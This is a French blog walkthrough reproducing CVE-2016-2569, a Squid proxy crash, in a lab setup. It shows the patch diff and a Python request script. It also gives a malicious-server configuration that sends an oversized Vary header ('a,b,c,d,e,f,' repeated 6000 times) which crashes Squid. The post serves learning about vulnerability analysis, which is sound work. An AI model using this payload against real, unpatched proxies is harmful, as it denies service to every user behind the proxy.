
Squid 3.x avant 3.5.15 et 4.x avant 4.0.7 n'ajoute pas correctement les données aux objets String, ce qui permet à des serveurs distants de provoquer un déni de service (échec d'assertion et arrêt du démon) via une longue chaîne, comme le démontre un en-tête HTTP Vary spécialement conçu.
Bonjour,
Merci de lire mon premier billet de blog. Aujourd'hui, nous allons créer un exploit pour l'un des outils open-source, le serveur proxy de cache Squid.
Squid est un proxy de cache pour le Web prenant en charge HTTP, HTTPS, FTP, etc. Il réduit la bande passante et améliore les temps de réponse en mettant en cache et en réutilisant les pages Web fréquemment demandées. Squid dispose de contrôles d'accès étendus et constitue un excellent accélérateur de serveur. Il fonctionne sur la plupart des systèmes d'exploitation disponibles, y compris Windows, et est sous licence GNU GPL. Vous pouvez en savoir plus sur le proxy de cache Squid sur leur site Web officiel [http://www.squid-cache.org/]
Tout d'abord, j'espère que vous savez ce qu'est une CVE :p Bref, cela signifie Common Vulnerabilities and Exposures (plus d'informations sur les CVE sont disponibles sur [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures])
Nous pouvons voir les informations suivantes concernant CVE-2016-2569
Description : Squid 3.x avant 3.5.15 et 4.x avant 4.0.7 n'ajoute pas correctement de données aux objets String, ce qui permet à des serveurs distants de provoquer un déni de service (échec d'assertion et arrêt du démon) via une chaîne longue, comme le montre un en-tête HTTP Vary spécialement conçu. Mathias Fischer d'Open Systems AG a signalé cette vulnérabilité.
Comme il s'agit d'un projet open-source, nous pouvons voir le correctif utilisé pour atténuer cette vulnérabilité. Sur la base de la description de la vulnérabilité fournie, nous pouvons confirmer qu'il s'agit d'une tentative de dépassement de tampon. Nous allons continuer à creuser dans le code source pour enquêter plus loin.
Le correctif [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] confirme que des modifications ont été apportées aux fichiers suivants
Creusons plus profondément....
Le diff du code pour src/String.cc semble intéressant car il effectue une assertion sur la variable aSize
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// Create a temporary string and absorb it later.
String snew;
- assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+ assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
Sur la base du diff ci-dessus, nous pouvons tenter d'exploiter la vulnérabilité en fournissant une valeur de l'en-tête Vary supérieure à 65536 octets.
Commençons par créer notre environnement d'exploitation.
Nous allons installer le proxy de cache Squid sur un système Linux (nous utiliserons Xubuntu 16.04 LTS). Le proxy de cache Squid met en cache les réponses du serveur HTTP metanet et envoie les réponses au client depuis le cache mémoire plutôt que d'interroger le serveur pour une requête similaire.
Notre topologie réseau ressemblerait à ce qui est montré ci-dessous (désolé d'être old school avec la topologie, mais je suis toujours aussi amoureux de VIM)
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Client |
| 192.168.56.102 | | Caching Proxy | | 192.168.56.1 |
| HTTP Server | <---- | TCP Port 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
Nous enverrons des requêtes standard à notre serveur HTTP nginx via le proxy Squid et vérifierons les journaux pour nous assurer que l'environnement fonctionne comme prévu.
Pour nous faciliter la vie, nous utiliserons le script python suivant pour envoyer la requête au serveur. Un point important à noter ici : les en-têtes utilisés dans la requête permettent au serveur proxy de mettre en cache la réponse. Si les valeurs des en-têtes de requête HTTP "If-Modified-Since", "max-age" et "cache-control" ne sont pas correctes, la requête du client forcerait le serveur proxy à interroger le serveur pour obtenir des réponses. Cela annulerait complètement l'intérêt du serveur proxy.
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
Nous pouvons voir que le code python ci-dessus définit les en-têtes, le proxy et utilise la bibliothèque python requests pour envoyer la requête au serveur HTTP situé à 192.168.56.102. Une fois que nous avons la réponse du serveur ou du proxy, nous affichons les en-têtes. Nous sommes particulièrement intéressés par l'en-tête de réponse Vary envoyé par le serveur HTTP ou le serveur proxy.
L'étape suivante de notre environnement est la mise en place de metanet (serveur HTTP). Nous utiliserons metanet car il est facile d'envoyer différents en-têtes de réponse HTTP. Alternativement, nous pouvons utiliser SimpleHTTPServer qui permet également d'envoyer des réponses HTTP personnalisées.
Nous devons préparer le fichier de configuration metanet de manière à ce qu'il réponde avec l'en-tête Vary ainsi que les en-têtes nécessaires qui permettent au proxy de cache Squid de mettre en cache les réponses similaires en mémoire.
Notre configuration metanet ressemblerait à ceci
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Essayons pour voir si notre environnement fonctionne vraiment !

D'après notre configuration, tout semble en bonne forme. w00t w00t !
Faisons un effort pour exploiter la vulnérabilité (en envoyant un tampon basé sur une longue chaîne avec l'en-tête de réponse HTTP Vary). C'est une simple exploitation par overflow. D'après le diff du code, nous voyons qu'il y a une assertion qui définit que la valeur de a_size ne doit pas dépasser 65536. Nous fournissons une longueur d'en-tête Vary aussi longue que cela.
Idéalement, nous n'avons pas 65536 en-têtes de réponse HTTP standard (cela aurait été un sacré bazar 😛) ; mais nous pouvons inventer des en-têtes. Ce qui compte dans ce cas, c'est la longueur de la chaîne passée à l'en-tête Vary.
Utilisons python pour générer une très longue chaîne comme python -c 'print "a,b,c,d,e,f," *6000'. Nous utiliserons cette sortie et modifierons notre configuration metanet comme ci-dessous pour tester notre exploit.
Notre configuration metanet ressemblerait à ceci
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<reapeated 6000 times>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Lorsque nous envoyons notre première requête au proxy, tout semble normal. Le proxy ne semble pas mettre en cache les réponses ; peut-être à cause des valeurs que nous avons fournies dans le champ d'en-tête Vary. Les en-têtes de réponse spécifiés dans l'en-tête Vary sont pris en compte dans le calcul de la somme md5 pour vérifier le contenu mis en cache.
Continuons à envoyer plusieurs requêtes au proxy. Quelque chose ne va pas : le proxy ne répond plus à nos requêtes car nous obtenons « Proxy Error » de la bibliothèque requests. Continuons à envoyer des requêtes quand même.
Hélas. Le proxy s'est arrêté en raison de défaillances fréquentes. Aucun appareil se connectant au serveur via le proxy ne pourrait accéder à quoi que ce soit. C'est un déni de service pour tous les utilisateurs du proxy.
